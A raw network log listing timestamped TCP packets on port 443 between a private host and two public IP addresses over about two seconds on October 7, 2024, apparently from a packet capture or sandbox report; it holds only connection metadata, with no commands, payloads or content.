Oct 7, 2024 21:53:33.413680077 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.413702965 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.413726091 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.413733006 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.416503906 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.416527987 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.416805983 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.416990995 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.416996956 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.477777958 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.478251934 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.478266001 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.478732109 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.478738070 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.484496117 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.485161066 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.485177994 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.485493898 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.485502005 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.528847933 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.529300928 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.529315948 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.529946089 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.529951096 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.581286907 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.581363916 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.581450939 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.581646919 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.581676960 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.583403111 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.583412886 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.584317923 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.584399939 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.584490061 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.584495068 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.584655046 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.584672928 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.585011959 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.585055113 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.585817099 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.585824966 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.585859060 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.585869074 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.586610079 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.586757898 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.586795092 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.586831093 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.586873055 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.586894035 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.586911917 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.586931944 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.586940050 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.589112997 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.589140892 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.589236021 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.589400053 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.589433908 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.625902891 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.625946045 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.625994921 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.626033068 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.626074076 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.626270056 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.626287937 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.626302958 CEST	49972	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.626308918 CEST	443	49972	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.631211042 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.631258965 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.631417036 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.631774902 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.631791115 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.705530882 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.706080914 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.706090927 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.706578016 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.706582069 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.804359913 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.804527044 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.804589033 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.804724932 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.804745913 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.804759026 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.804764032 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.809464931 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.809493065 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.809552908 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.809715033 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:33.809731960 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:33.991410971 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.991533041 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.991735935 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.991800070 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.991908073 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.991930008 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:33.991945028 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:33.991951942 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.040963888 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.041008949 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.041073084 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.041281939 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.041300058 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.048114061 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.048149109 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.048672915 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.049007893 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.049021959 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.069663048 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.070885897 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.070911884 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.071904898 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.071911097 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170061111 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170084000 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170139074 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.170155048 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170201063 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170396090 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.170413971 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170425892 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.170433044 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.170442104 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.170444965 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.173187017 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.173229933 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.173357010 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.173518896 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.173533916 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.213706970 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.214183092 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.214195013 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.214654922 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.214659929 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.215678930 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.216059923 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.216078997 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.216497898 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.216509104 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.238157988 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.238668919 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.238691092 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.239223957 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.239229918 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.310494900 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.310657978 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.310715914 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.310719013 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.310766935 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.310817957 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.310831070 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.310996056 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.311002016 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.312742949 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.312776089 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.312819958 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.312894106 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.313390017 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.313390017 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.313433886 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.313523054 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.316267014 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.316317081 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.316395044 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.318847895 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.318918943 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.318975925 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.318989038 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.319019079 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.319092035 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.319122076 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.335630894 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.335745096 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.335995913 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.336044073 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.336055994 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.336081028 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.336086035 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.338386059 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.338443041 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.338700056 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.338831902 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.338859081 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.449342966 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.449786901 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.449807882 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.450217962 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.450223923 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.548765898 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.548839092 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.549015999 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.549957037 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.549978018 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.549989939 CEST	49978	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.549995899 CEST	443	49978	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.553761959 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.553785086 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.553853989 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.554111004 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.554126978 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.808794975 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.809231043 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.809267044 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.809792042 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.809798002 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.828282118 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.828370094 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.828522921 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.829102993 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.829149961 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.829962015 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.829976082 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.830313921 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.830343008 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.831043005 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.831073046 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.831423044 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.831860065 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.831923962 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:34.831955910 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:34.908759117 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.908813000 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.908912897 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.909125090 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.909146070 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.909157038 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.909162998 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.912641048 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.912691116 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.912866116 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.912897110 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.912905931 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.927409887 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.927898884 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.927947044 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.928272963 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.928287029 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.930866003 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.931168079 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.931199074 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.931520939 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.931529045 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.964086056 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.964591026 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.964624882 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:34.964975119 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:34.964983940 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042203903 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042231083 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042274952 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042341948 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042404890 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042576075 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042593002 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042613029 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042638063 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042644978 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042651892 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042717934 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042805910 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042805910 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.042855024 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.042884111 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.045608997 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.045674086 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.045711040 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.045748949 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.045855999 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.045865059 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.045980930 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.046010017 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.046013117 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.046051979 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.061960936 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.061990023 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.062042952 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.062084913 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.062154055 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.062238932 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.062283993 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.062314987 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.062334061 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.064606905 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.064647913 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.064723969 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.064834118 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.064847946 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.178848028 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.181211948 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.181253910 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.181670904 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.181678057 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.252943993 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.252971888 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.253201008 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.253202915 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.253271103 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.261388063 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.261388063 CEST	49980	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.261434078 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.261465073 CEST	443	49980	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.279426098 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.280777931 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.282681942 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.288819075 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.288842916 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.288856983 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.288865089 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.292256117 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.292299986 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.292381048 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.292504072 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.292520046 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.501586914 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.501610041 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.501636028 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.501828909 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.501828909 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.501866102 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.502151966 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.502295017 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.542088032 CEST	49979	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.542143106 CEST	443	49979	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.562988043 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.611414909 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.611587048 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.611599922 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.612478018 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.612490892 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.707411051 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.708389997 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.709721088 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.710946083 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.711030960 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.711071968 CEST	443	49986	13.107.246.64	192.168.2.5
